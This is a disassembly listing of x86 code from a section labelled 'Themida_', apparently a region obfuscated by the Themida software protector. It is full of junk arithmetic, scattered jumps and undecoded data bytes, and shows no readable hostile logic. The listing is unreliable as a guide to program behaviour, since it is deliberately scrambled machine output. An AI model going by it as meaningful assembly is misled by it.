		sub	al, 0BAh
		sub	al, bh
		add	al, 0BAh
		sub	al, 2Eh
		pop	ebx
		add	bl, 0DFh
		add	bl, 0C7h
		jmp	loc_568475
; ---------------------------------------------------------------------------
		dw 0E94Fh
		dd 0FFFF1D24h, 8B240C87h, 0C4E92424h, 9FFFEF5h,	0E7E95DE8h
		dd 5BFFFF6Dh, 0FF2AD7E9h, 2434FFFFh, 0FF29F8E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56B829:				; CODE XREF: Themida_:00566234j
		add	ebp, edx
		add	ebp, 28906F86h
		sub	ebp, 7B3C05E5h
		jmp	loc_55A51D
; ---------------------------------------------------------------------------
		dd 0E907E6C1h, 0FFFFE45Dh, 106019BAh, 55E9517Dh, 81FFFF44h
		dd 0A03C8BF2h, 7E2C13Bh, 565DE281h, 814229BFh, 0ED0DEBF2h
		dd 5AD02961h, 2F633805h, 0E9D80116h, 1B27h, 7DFEE81h, 0F389F50Fh
		dd 76CB815Eh, 4B526C5Bh, 0FF81F9E9h, 4BFFFh, 0FD010000h
		dd 242C335Fh, 33242C31h, 248B242Ch, 2434FF24h, 5A2434FFh
		dd 5E08950h, 4,	405h, 6248E900h, 483FFFFh, 48F0424h, 72E95024h
		dd 87000018h, 0E95C2434h, 0FFFFFE2Eh, 24048B66h, 7E4668h
		dd 0D70FE900h, 0C481FFFEh, 4, 0FAE9F788h, 5CFFFF39h, 4EC81h
		dd 1C890000h, 50E38924h, 424D5B8h, 72262D06h, 34E91CEDh
		db 28h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56B903:				; CODE XREF: Themida_:0056DD18j
		jmp	loc_55888C
; ---------------------------------------------------------------------------
		dd 52242C8Bh, 0C281E289h, 4, 4C281h, 0E2E90000h
		db 34h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56B91F:				; CODE XREF: Themida_:0056742Bj
		push	ebx
		mov	ebx, 64B26C16h
		jmp	loc_569567
; ---------------------------------------------------------------------------
		dw 6DB5h
		dd 0E97BCD80h, 0FFFF3286h, 8090E280h, 0D0306BF2h, 0FF0540E9h
		dd 0F7665CFFh, 4EC83E1h, 89243C89h, 99C7E9E7h, 8159FFFFh
		dd 0CE7AC1EAh, 0EA811Ch, 29EA7E94h, 0B8505AD7h,	21E23A06h
		dd 462B6A35h, 58C70910h, 0FFA5FEE9h, 8BD301FFh,	0C4812414h
		dd 4, 4BF57h, 0EB810000h, 5AEF44CAh, 0AE9FB01h,	31FFFF95h
		dd 2C33242Ch, 24248B24h, 9C2404D3h, 0FECEE7E9h,	8BD989FFh
		dd 0C483241Ch, 0A0E95104h, 81FFFFB6h, 4ECh, 240C8900h
		dd 4B9h, 8BCA0100h, 8951240Ch, 4C181E1h, 81000000h, 4C1h
		dd 1FCCE900h, 6C29FFFFh, 49E90424h, 5EFFFF18h, 0E924048Fh
		dd 0FFFED1B2h, 240C8B66h, 4EC81h, 34890000h, 5CE95424h
		db 2Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56B9FF:				; CODE XREF: Themida_:0056D760j
		pop	ebp
		pop	eax
		jmp	loc_563E9A
; ---------------------------------------------------------------------------
		dw 0A9B9h
		dd 81244D3Eh, 0FA1BBDE1h, 9C18101h, 8156C065h, 0FFFFFFE9h
		dd 0F8F181FFh, 29408B56h, 2C8B59C8h, 4C48124h, 0E9000000h
		dd 0FFFF0237h, 0E07ED025h, 0F7D8F70Ah, 0E17005D8h, 0C20108A4h
		dd 0CFC28158h, 0FF17537Ch, 815E2434h, 4C4h, 0D1F3E900h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56BA5A:				; CODE XREF: Themida_:0056B582j
		add	esp, 4
		mov	bx, [esp]
		add	esp, 2
		jmp	loc_56CE8A
; ---------------------------------------------------------------------------
		dd 0FECE1BE9h, 41E952FFh, 1FFFF5Bh, 0C8E95BDFh
		db 7, 2	dup(0FFh)
; ---------------------------------------------------------------------------

loc_56BA7F:				; CODE XREF: Themida_:00566407j
		inc	ebp
		jmp	loc_56275D
; ---------------------------------------------------------------------------
		db 29h,	0F3h, 81h
		dd 0FB7E30C3h, 2434FF79h, 0D988E95Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56BA96:				; CODE XREF: Themida_:0055A3C3j
		xor	ecx, esi
		not	esi
		xchg	esi, ecx
		jmp	loc_55DC0B
; ---------------------------------------------------------------------------

loc_56BAA1:				; CODE XREF: Themida_:0056D254j
		sub	eax, 748E1B95h
		pop	ecx
		jmp	loc_5652C7
; ---------------------------------------------------------------------------
		dd 0E33D67B9h, 59CA2931h, 0C281CA29h, 31E33D67h, 0D21EA81h
		dd 5E5931D2h, 2474FF52h, 24148B04h, 4C481h, 48F0000h, 24248B24h
		dd 9C243CD3h, 0FED3E2E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56BAE1:				; CODE XREF: Themida_:00561B79j
		xor	eax, ecx
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_558F5E
; ---------------------------------------------------------------------------

loc_56BAF1:				; CODE XREF: Themida_:00560D9Ej
		push	eax
		mov	eax, 520015A8h
		jmp	loc_569E61
; ---------------------------------------------------------------------------
		dd 72B68h, 241C8900h, 0FE0871B7h, 7EEC05Bh, 8060B753h
		dd 0E9E915C6h
		db 3, 2	dup(0)
; ---------------------------------------------------------------------------

loc_56BB17:				; CODE XREF: Themida_:0055C327j
		jz	loc_55C484
		push	ebx
		mov	ebx, 43AF07D8h
		not	ebx
		push	ebx
		xchg	ebx, [esp]
		inc	ebx
		jmp	loc_56468E
; ---------------------------------------------------------------------------

loc_56BB2F:				; CODE XREF: Themida_:00565C59j
		pop	ecx
		jmp	loc_56843D
; ---------------------------------------------------------------------------
		db 1, 0C1h, 58h
		dd 956E9h, 66C82800h, 4C82859h,	0C468593Eh, 89000017h
		dd 6B62414h, 0D9E9EED0h, 88FFFED9h, 0DFD4E9E1h,	0ED80FFFFh
		dd 6EDC06Ah, 0A9B25266h, 5A66D500h, 0FFF4B4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56BB71:				; CODE XREF: Themida_:00558B40j
					; Themida_:00560944j
		push	1447h
		mov	[esp], ebx
		push	ebp
		mov	ebp, 1AE64ED0h
		jmp	loc_55D82C
; ---------------------------------------------------------------------------
		dd 787068h, 242C8900h, 1D3FE952h
		db 2 dup(0)
; ---------------------------------------------------------------------------

loc_56BB92:				; CODE XREF: Themida_:0056C9CEj
		sub	esi, eax
		jmp	loc_5678FC
; ---------------------------------------------------------------------------

loc_56BB99:				; CODE XREF: Themida_:0055AD6Fj
		xor	ecx, 53D24DC4h
		or	ecx, 4304724h
		shl	ecx, 1
		sub	ecx, 0EC6CCAFDh
		xor	ebp, ecx
		pop	ecx
		or	ebp, 183F0235h
		xor	ebp, 25826692h
		mov	esi, ebp
		pop	ebp
		xor	ebp, esi
		jmp	loc_56A9B5
; ---------------------------------------------------------------------------
		dw 0D789h
		dd 0FF4457E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56BBCD:				; CODE XREF: Themida_:00561A4Dj
		push	7D786647h
		pop	edx
		push	ebp
		mov	ebp, 515A5867h
		add	ebp, 0FFFFFFFFh
		or	ebp, 23045FF6h
		sub	ebp, 40E74009h
		sub	ebp, 4B9A38E6h
		inc	ebp
		jmp	loc_55B759
; ---------------------------------------------------------------------------
		db 0BEh
		dd 2428025Fh, 0FFEC64E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56BC01:				; CODE XREF: Themida_:00565785j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		or	edx, eax
		shl	edx, 1
		push	eax
		jmp	loc_55E453
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 3A5868h, 242C8900h, 0BE3CD0BDh, 0E9E8016Dh, 0FFFF708Dh
		dd 6403105h, 0CE95109h,	0FF00000Eh, 669D1C77h, 4116658h
		dd 35E99C24h, 89FFFECCh, 21E9241Ch, 68FFFF86h, 5C9624A0h
		dd 8B2434FFh, 44E9243Ch, 0C1FFFFEBh, 575607EDh,	8F4ACABFh
		dd 4ACF8124h, 815A252Eh, 0FCD1E9C7h, 0A56FE9E8h, 0E789FFFFh
		dd 4C781h, 0EF810000h, 4, 5C243C87h, 68241489h,	68C4h
		dd 0E9242489h, 1BE2h
; ---------------------------------------------------------------------------

loc_56BCAC:				; CODE XREF: Themida_:0056191Cj
		push	ecx
		jmp	loc_568A0E
; ---------------------------------------------------------------------------
		dw 0CF89h
		dd 81DFF759h, 980F68C7h, 4815719h, 78500424h, 0B94AE968h
		dd 6035FFFFh, 931DF82h,	0FBA4E9C6h, 1C87FFFEh, 33585C24h
		dd 1C31241Ch, 241C3324h, 4FF665Ch, 9DE99C24h, 89FFFECBh
		dd 74FF240Ch, 7DE90424h
		db 9Dh,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56BCFB:				; CODE XREF: Themida_:005677FDj
		mov	esi, 1F235623h
		jmp	loc_559B68
; ---------------------------------------------------------------------------
		db 1, 7Ch, 24h
		dd 76EDE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56BD0E:				; CODE XREF: Themida_:0055D71Fj
		add	esp, 4
		pop	eax
		sub	[edi+24h], eax
		pop	eax
		jmp	loc_55D051
; ---------------------------------------------------------------------------
		db 52h
		dd 0A73788BAh, 6EEA813Bh, 81EE3EC6h, 9661EEEh, 0E249E90Eh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56BD32:				; CODE XREF: Themida_:00565435j
		add	bl, ah
		sub	bl, 0C6h
		add	bl, 17h
		sub	bl, 0A1h
		mov	eax, [esp]
		push	ecx
		mov	ecx, esp
		push	edx
		jmp	loc_5588CC
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 74FF2414h, 148B0424h, 4C48324h, 0E924048Fh
		dd 0FFFEE2D8h, 68241489h, 2236h, 0E9243489h, 0FFFFB589h
		dd 0FEF80405h, 58C301FFh, 31241C33h, 1C33241Ch,	24248B24h
		dd 0FF010BE9h, 0C8B66FFh, 4EC8124h, 89000000h, 0E6892434h
		dd 8904EC83h, 52572414h, 0D036E0BAh, 0E12AE910h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56BDAE:				; CODE XREF: Themida_:005654D4j
		mov	eax, [esp]
		add	esp, 4
		push	edx
		jmp	loc_569226
; ---------------------------------------------------------------------------
		dw 0E95Dh
		dd 0FFFF5140h
; ---------------------------------------------------------------------------

loc_56BDC0:				; CODE XREF: Themida_:00562F34j
		pop	ecx
		xchg	ebp, [esp]
		pop	esp
		jmp	loc_55EFD3
; ---------------------------------------------------------------------------
		dw 0CFFh
		dd 24348B24h, 5604C483h, 0FFC315E9h, 5BD828FFh,	0A04D800h
		dd 0D1E9792Ch, 1FFFEECh, 48C681C6h, 0E963E308h,	0FFFF84CEh
; ---------------------------------------------------------------------------

loc_56BDF4:				; CODE XREF: Themida_:00568CF5j
		mov	ebx, [esp]
		jmp	loc_56DD7C
; ---------------------------------------------------------------------------

loc_56BDFC:				; CODE XREF: Themida_:0056B402j
		pop	edx
		xor	[esp+4], esi
		pop	esi
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		sub	esp, 4
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		push	eax
		mov	eax, 4
		sub	edi, eax
		pop	eax
		xchg	edi, [esp]
		pop	esp
		mov	[esp], ebx
		push	ecx
		push	7EB24907h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	esi
		mov	esi, 74A47795h
		xor	ecx, esi
		pop	esi
		sub	esp, 4
		mov	[esp], ecx
		mov	ebx, [esp]
		add	esp, 4
		pop	ecx
		add	ebx, 6DBEC35Fh
		jmp	loc_5650B1
; ---------------------------------------------------------------------------
		dd 3304C483h, 1C31241Ch, 71DBE924h, 0E6C1FFFFh,	0BB5308h
		dd 29000000h, 5BDE89F3h, 0C681DEF7h, 0E9C1F944h, 555EF789h
		dd 985001BDh, 0CFAAE966h, 0C483FFFEh, 5AF03004h, 0B0B65251h
		dd 5253D6F6h, 0D388E9B2h, 0FF1C79E9h, 240489FFh, 8904EC83h
		dd 7BE9240Ch, 8BFFFFFAh, 0DB68240Ch, 89000041h,	0E0892404h
		dd 8904EC83h, 0E957241Ch, 0FFFF3CC4h
; ---------------------------------------------------------------------------

loc_56BEC8:				; CODE XREF: Themida_:0055F723j
		add	dword ptr [esp], 67E1415Dh
		push	dword ptr [esp]
		pop	ecx
		sub	esp, 4
		jmp	loc_565957
; ---------------------------------------------------------------------------
		dw 0D0F7h
		dd 84B92D40h, 0C3892B0Bh, 3F58E958h, 0F231FFFFh, 0FF345BE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56BEF5:				; CODE XREF: Themida_:0056280Cj
		add	edx, 4
		jmp	loc_56CC0F
; ---------------------------------------------------------------------------
		dd 0EE80FE00h, 241C8B15h, 0FFF9CDE9h, 24248BFFh, 0E9240C89h
		dd 0FFFEC974h, 0B54CBD55h, 0EA29C27Ah, 481525Dh, 0B8425A24h
		dd 0DDEAE914h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56BF2E:				; CODE XREF: Themida_:005615F5j
		sub	bl, ah
		pop	eax
		push	dword ptr [esp]
		pop	edx
		jmp	loc_55EA7D
; ---------------------------------------------------------------------------
		dw 83ADh
		dd 0F00207Fh, 0FFB74984h, 0DDB951FFh, 816BF355h, 0C458A2EEh
		dd 51CE2904h, 0C458A2B9h, 0EAB7E904h, 0C481FFFEh, 4, 3E28D835h
		dd 0E9C28954h, 0FFFEF113h, 5C243487h, 68240489h, 5FCD5D36h
		dd 24448158h, 6E3F9C04h, 2444013Dh, 0E91DE904h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------

loc_56BF8E:				; CODE XREF: Themida_:0055CE04j
		xor	edx, 0A07082CFh
		sub	ebp, edx
		pop	edx
		or	ebp, 3E8B73FFh
		add	ebp, 53257D70h
		mov	edx, ebp
		pop	ebp
		push	ecx
		push	ebx
		push	eax
		mov	eax, 0B860C76h
		mov	ebx, eax
		pop	eax
		mov	ecx, ebx
		pop	ebx
		jmp	loc_567E57
; ---------------------------------------------------------------------------

loc_56BFB9:				; CODE XREF: Themida_:0056D665j
		add	esi, 4
		jmp	loc_56D97A
; ---------------------------------------------------------------------------
		dd 0CFE9D828h
		db 0AFh, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56BFCB:				; CODE XREF: Themida_:0055EC35j
		mov	edi, 306A6201h
		jmp	loc_558A6B
; ---------------------------------------------------------------------------
		db 1, 54h, 24h
		dd 34FF5A04h, 2434FF24h, 277E9h, 2EBC000h, 0FEF022E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56BFED:				; CODE XREF: Themida_:0055EE93j
		sub	edx, 21A5F448h
		mov	edi, edx
		pop	edx
		add	dword ptr [esp+4], 363E4D68h
		sub	dword ptr [esp+4], 49487B45h
		sub	[esp+4], edi
		add	dword ptr [esp+4], 49487B45h
		sub	dword ptr [esp+4], 363E4D68h
		mov	edi, [esp]
		add	esp, 4
		mov	edi, [esp]
		push	7DC3h
		jmp	loc_562398
; ---------------------------------------------------------------------------
		db 8Bh,	2Ch, 24h
		dd 6804C483h, 3131h, 89240489h,	83BE9E0h, 55520000h, 0F50B0DBDh
		dd 6EDC133h, 17ADB951h,	0C98120E0h, 230006B9h, 9DE98149h
		dd 81102C50h, 4B1EA0C9h, 226AE913h, 0D801FFFFh,	5927055Bh
		dd 9B2D6AD8h, 536F8831h, 0A5670ABBh, 5BD8012Fh,	17605B05h
		dd 0EF7DE913h, 4668FFFEh, 0E9000009h, 0FFFFFCD0h, 0C680D6F6h
		dd 63EE80EBh, 808DE680h, 0C68029EEh, 0F6C6FE58h, 2AC680D6h
		dd 0E95AF528h, 0FFFFFAAAh, 59C83158h, 0EC83C331h, 240C8904h
		dd 0EB3620B9h, 1CF5E946h, 0B050FFFFh, 58C68804h, 70F968h
		dd 241C8900h, 0F888F788h, 70E95A5Bh, 59FFFEF7h,	88F58851h
		dd 585A59EBh, 34FFDD88h, 83685B24h, 89000051h, 0E954241Ch
		dd 0FFFF5162h, 53241489h, 0C381E389h, 4, 3304EB83h, 1C31241Ch
		dd 241C3324h, 2404895Ch, 1A07E9h, 24348900h, 12B86853h
		dd 815B7D52h, 974395E3h, 0D5F38121h, 0E9391D7Eh, 0FFFFE733h
; ---------------------------------------------------------------------------

loc_56C13C:				; CODE XREF: Themida_:0056A37Fj
		push	1EEE215Ah
		mov	ebp, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, 2541661Dh
		xor	ebp, ecx
		pop	ecx
		push	ecx
		mov	ecx, 3BAF4746h
		jmp	loc_56AC16
; ---------------------------------------------------------------------------
		db 5Ch
		dd 0B1240C89h, 19F1807Dh, 6859C830h, 7F5h, 52240C89h, 0FF96CAE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56C175:				; CODE XREF: Themida_:005666B8j
		sub	esp, 4
		mov	[esp], esp
		push	ecx
		jmp	loc_5647E8
; ---------------------------------------------------------------------------
		db 0BDh, 3Bh, 34h
		dd 0A7E90127h, 8000000Dh, 32E939C3h
		db 1, 2	dup(0FFh)
; ---------------------------------------------------------------------------

loc_56C193:				; CODE XREF: Themida_:00567861j
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_561E0B
; ---------------------------------------------------------------------------

loc_56C1B7:				; CODE XREF: Themida_:0056A64Cj
		xchg	edi, [esp]
		pop	esp
		pop	esi
		xor	eax, edi
		push	dword ptr [esp]
		pop	edi
		jmp	loc_561834
; ---------------------------------------------------------------------------
		db 89h
		dd 0E954241Ch, 0FFFFCDA7h, 0E2F9E95Fh, 1C8BFFFFh, 4C48324h
		dd 0FF537CE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56C1E1:				; CODE XREF: Themida_:0056DD51j
		add	esp, 4
		push	6093h
		mov	[esp], ebx
		jmp	loc_566841
; ---------------------------------------------------------------------------
		db 31h,	0CDh, 8Bh
		dd 96E9240Ch
		db 18h,	2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56C1FB:				; CODE XREF: Themida_:00567E6Ej
		and	edx, 72DB08B6h
		sub	edx, 0FFFFFFFFh
		and	edx, 1BA53E00h
		push	7A88h
		mov	[esp], edi
		jmp	loc_55ED4D
; ---------------------------------------------------------------------------

loc_56C217:				; CODE XREF: Themida_:0056A00Dj
		mov	eax, esp
		push	ecx
		mov	ecx, 172B00ACh
		neg	ecx
		neg	ecx
		or	ecx, 13C82A1Bh
		xor	ecx, 17EB2ABBh
		add	eax, ecx
		jmp	loc_559047
; ---------------------------------------------------------------------------
		dw 0DE01h
		dd 4C21E95Bh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56C23E:				; CODE XREF: Themida_:005657FFj
		and	ebp, 47182F10h
		xor	ebp, 4C1724D1h
		and	edx, ebp
		pop	ebp
		jmp	loc_56683B
; ---------------------------------------------------------------------------
		dw 0D901h
		dd 0E9CB895Bh, 0FFFF604Ah, 4C4835Ah, 21E468h, 240C8900h
		dd 0C1815954h, 4, 6B6D6855h, 14890000h,	731BBA24h, 0E2C15ECCh
		dd 9155E907h, 0EC83FFFFh, 240C8904h, 71DE9B9h, 1EA8152h
		dd 29536147h, 1C281CAh,	0FF536147h, 81592434h, 4C4h, 241C8B00h
		dd 0FF11CEE9h, 6FB951FFh, 81489641h, 2C057EC1h,	0FFE18173h
		dd 817D021Eh, 0B3670C9h, 4CE9814Eh, 292746BAh, 0B13559C8h
		dd 0C1456265h, 0E99607E0h, 0FFFFB194h, 4EC835Dh, 0FF240C89h
		dd 0E9042474h, 0FFFED61Eh, 0B8240489h, 4E821AFDh, 3BAD68h
		dd 240C8900h, 1FF96855h, 815D07B8h, 6124DCCDh, 9AED812Ah
		dd 892131F6h, 4CD3E9E9h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56C31A:				; CODE XREF: Themida_:005659ADj
		push	edi
		mov	edi, 3A83F3Fh
		and	ebx, edi
		jmp	loc_55A857
; ---------------------------------------------------------------------------

loc_56C327:				; CODE XREF: Themida_:0055F1FDj
		mov	edx, [esp]
		push	eax
		mov	eax, esp
		jmp	loc_564085
; ---------------------------------------------------------------------------
		dw 0DDF7h
		dd 2D3EB850h, 5CE96C04h, 0C0FFFFDEh, 0ED8005E5h, 59EB00F6h
		dd 5893EB80h, 0FF3C380h, 8B66C0B6h, 7682414h, 0E900001Fh
		dd 0FFFEF201h, 81665966h, 8B5BA5F1h, 0C483242Ch, 0C8016604h
		dd 65E95966h, 80FFFFA3h, 33E9FFEFh, 0BAFFFF16h,	0BFC7AC2h
		dd 6FD0EB81h, 0D3290FDCh, 6FD0C381h, 0E95A0FDCh, 0FFFEE150h
		dd 4C48359h, 8324348Bh,	0EC8304C4h, 7C30E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56C3AA:				; CODE XREF: Themida_:0056032Ej
		sub	ebx, 685F065Ch
		jmp	loc_55F2BA
; ---------------------------------------------------------------------------
		db 81h,	0CBh, 0F7h
		dd 0E9734902h, 0FFFFF1E3h
; ---------------------------------------------------------------------------

loc_56C3C0:				; CODE XREF: Themida_:0055F48Fj
		pop	ecx
		add	eax, edx
		add	eax, 6B36AE2h
		add	[eax], ebp
		pop	eax
		pop	edx
		mov	ecx, [esp]
		jmp	loc_56B094
; ---------------------------------------------------------------------------
		dd 0A4C5815Dh, 8B05AC6Ah, 0C483240Ch, 8BD53104h, 0C4832414h
		dd 5C0B0504h, 0E8010593h, 0FF717CE9h, 0C492E9FFh, 0EE81FFFEh
		dd 6E4573ECh, 0FEC6A0E9h, 42DFFh, 17E90000h, 4FFFF91h
		dd 0B353661Bh, 0C650E9F4h, 0A3BBFFFFh, 0E9352C30h, 0FFFEE7E2h
		dd 364F68h, 24348900h, 61706857h, 71E93784h
		db 0A3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56C437:				; CODE XREF: Themida_:0056C703j
		add	edx, ecx
		add	edx, 1D16721Bh
		pop	ecx
		push	63F1h
		jmp	loc_565AD9
; ---------------------------------------------------------------------------
		dw 3C89h
		dd 5A6CE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56C452:				; CODE XREF: Themida_:0055CFCAj
		push	1742h
		mov	[esp], eax
		push	esi
		push	dword ptr [esp+4]
		jmp	loc_567024
; ---------------------------------------------------------------------------
		dd 0B3241C89h, 0F96BE90Ah
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56C46E:				; CODE XREF: Themida_:0056AE21j
		pop	ecx
		sub	eax, 9D12BC66h
		jmp	loc_561573
; ---------------------------------------------------------------------------

loc_56C479:				; CODE XREF: Themida_:0055AF5Cj
		sub	ebx, 1B48095Ah
		sub	ebx, 0D327359h
		mov	edi, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		jmp	loc_56093F
; ---------------------------------------------------------------------------
		db 56h
		dd 4BEh, 5EF12900h, 5C240C87h, 89240489h, 0EEE952E0h, 1FFFEC4h
		dd 9223E9F7h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56C4B2:				; CODE XREF: Themida_:0056B6DEj
		mov	edx, [esp]
		add	esp, 4
		add	esp, 4
		pop	edi

loc_56C4BF:				; CODE XREF: Themida_:00558D03j
					; Themida_:0056183Cj
		sub	esp, 4
		mov	[esp], edx
		push	eax
		sub	esp, 4
		mov	[esp], ebx
		push	566846DCh
		pop	ebx
		sub	ebx, 1
		jmp	loc_561B48
; ---------------------------------------------------------------------------
		db 89h,	0CEh, 59h
		dd 125BEB81h, 0F32958F7h, 125BC381h, 348B58F7h,	4C48324h
		dd 0B951C301h, 581456E2h, 0DCCC381h, 0CB013BF4h, 0FF31A9E9h
		dd 63D668FFh, 34890000h, 2BE24h, 6AE90000h, 0BBFFFF4Ah
		dd 6E090992h, 0F381DBF7h, 91F6F66Ah, 0ACE9DF01h, 81FFFF9Dh
		dd 4ECh, 241C8900h, 1832E9h, 240C8700h,	0FFDF9DE9h, 0EF815FFFh
		dd 8A3EFA15h, 0E95FFE29h, 0FFFFD9C2h
; ---------------------------------------------------------------------------

loc_56C554:				; CODE XREF: Themida_:005691ACj
		mov	ecx, 6C36538Ch
		neg	ecx
		jmp	loc_568040
; ---------------------------------------------------------------------------
		dd 4C18159h, 81000000h,	4C1h, 7807E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56C572:				; CODE XREF: Themida_:0055B775j
		pop	ax
		jmp	loc_55B0C5
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 8B24048Fh, 8AE92424h
		db 0A1h, 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56C587:				; CODE XREF: Themida_:0056712Fj
		push	esi
		push	edi
		mov	edi, 4
		mov	esi, edi
		jmp	loc_55E3CA
; ---------------------------------------------------------------------------

loc_56C595:				; CODE XREF: Themida_:0056636Aj
		sub	ebx, 29A848D5h
		xor	ebx, 0FDA95EE7h
		and	ebx, 7E25598Ch
		jmp	loc_561975
; ---------------------------------------------------------------------------

loc_56C5AC:				; CODE XREF: Themida_:00558AA0j
		add	edi, 4
		add	edi, 4
		jmp	loc_567FE1
; ---------------------------------------------------------------------------
		db 0BFh, 0C5h, 25h
		dd 0DFF768A2h, 0E7C1EFD1h, 81DFF703h, 3C78A1F7h, 5FFE0128h
		dd 24348156h, 75A65181h, 51813558h, 0F5E975A6h,	5BFFFF7Bh
		dd 8B240C87h, 0EC832424h, 24148904h, 0FEF088E9h, 240C87FFh
		dd 4C5815Ch, 0E9000000h, 0FFFFEF57h
; ---------------------------------------------------------------------------

loc_56C608:				; CODE XREF: Themida_:0055C1B7j
		mov	ebp, 7D211D17h
		shl	ebp, 6
		jmp	loc_5657F6
; ---------------------------------------------------------------------------
		db 66h,	50h, 0B0h
		dd 66C228D0h, 0C2805958h, 0E95166FFh, 0FFFFE8A5h
; ---------------------------------------------------------------------------

loc_56C628:				; CODE XREF: Themida_:005614D5j
		push	eax
		mov	eax, 73704BC0h
		neg	eax
		jmp	loc_565E77
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 8124248Bh, 4C4h, 0ECFAE900h,	8152FFFFh, 410C2434h, 1C8B316Bh
		dd 4C48324h, 410CF381h,	148B316Bh, 4C48124h, 56000000h
		dd 5709E951h, 74FFFFFFh, 34FF0424h, 242C8B24h, 8104C483h
		dd 4C4h, 24048F00h, 4EC835Ch, 50242489h, 0FFAB4FE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56C68D:				; CODE XREF: Themida_:00563754j
		pop	edx
		jmp	loc_561744
; ---------------------------------------------------------------------------

loc_56C693:				; CODE XREF: Themida_:00567A58j
		sub	eax, esi
		push	ebp
		mov	ebp, 3F814254h
		push	edx
		mov	edx, 7E703E03h
		xor	ebp, edx
		pop	edx
		add	eax, ebp
		pop	ebp
		pop	esi
		push	ebp
		jmp	loc_56115E
; ---------------------------------------------------------------------------
		dw 0B1BDh
		dd 5107800Eh, 4EC81h, 3C890000h, 91EDE924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------

loc_56C6C2:				; CODE XREF: Themida_:0055E905j
		add	ebx, ebp
		pop	ebp
		not	ebx
		push	edx
		mov	edx, 15386BF6h
		neg	edx
		xor	edx, 0BCE0C32Bh
		xor	ebx, edx
		pop	edx
		shr	ebx, 2
		sub	ebx, 7DDD3813h
		add	edi, ebx
		pop	ebx
		add	ecx, 7A354A9Eh
		sub	ecx, edi
		sub	ecx, 7A354A9Eh
		jmp	loc_56829F
; ---------------------------------------------------------------------------

loc_56C6F7:				; CODE XREF: Themida_:00569228j
		push	ecx
		mov	ecx, 4
		sub	edx, 1D16721Bh
		jmp	loc_56C437
; ---------------------------------------------------------------------------
		dd 480171BBh, 18F38110h, 81638513h, 0F94388F3h,	23C3815Dh
		dd 1D1CBAEh, 17685BDFh,	89000045h, 0E956240Ch, 0FFFFF4C7h
		dd 3E30EB81h, 0BFE917CDh, 8700000Bh, 248B243Ch,	24248924h
		dd 4BF57h, 7C010000h, 5E5F0424h, 4C681h, 0EC810000h, 4
		dd 0FFCAD4E9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56C761:				; CODE XREF: Themida_:00560361j
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		push	44AAh
		mov	[esp], edx
		jmp	loc_56CCC1
; ---------------------------------------------------------------------------
		dw 540h
		dd 2BE82BB2h, 0FF4AA1E9h, 240C89FFh, 0FFCFBCE9h
		db 0FFh
; ---------------------------------------------------------------------------

loc_56C789:				; CODE XREF: Themida_:005647F3j
		add	edi, 4
		jmp	loc_568C48
; ---------------------------------------------------------------------------
		dd 0FEC0F3E9h, 8BC831FFh, 0C481240Ch, 4, 0FF72A1E9h, 0F18149FFh
		dd 324A5113h, 44E6EA81h, 0E0E95AE6h, 89FFFEF3h,	2BBF243Ch
		dd 81147411h, 0BD04246Ch, 2927975Fh, 0E904247Ch, 0FFFF1B31h
		dd 0E924048Bh, 0FFFFB4D7h, 51F9BA52h, 0D6216F88h, 90EE815Ah
		dd 810E3432h, 0F24C89C6h, 85C68137h, 0E9A51EDCh, 0FFFFF6F2h
		dd 70E9BA52h, 0D33177F3h, 68C3815Ah, 0C1365372h, 0EEE904EBh
		db 10h,	2 dup(0FFh)
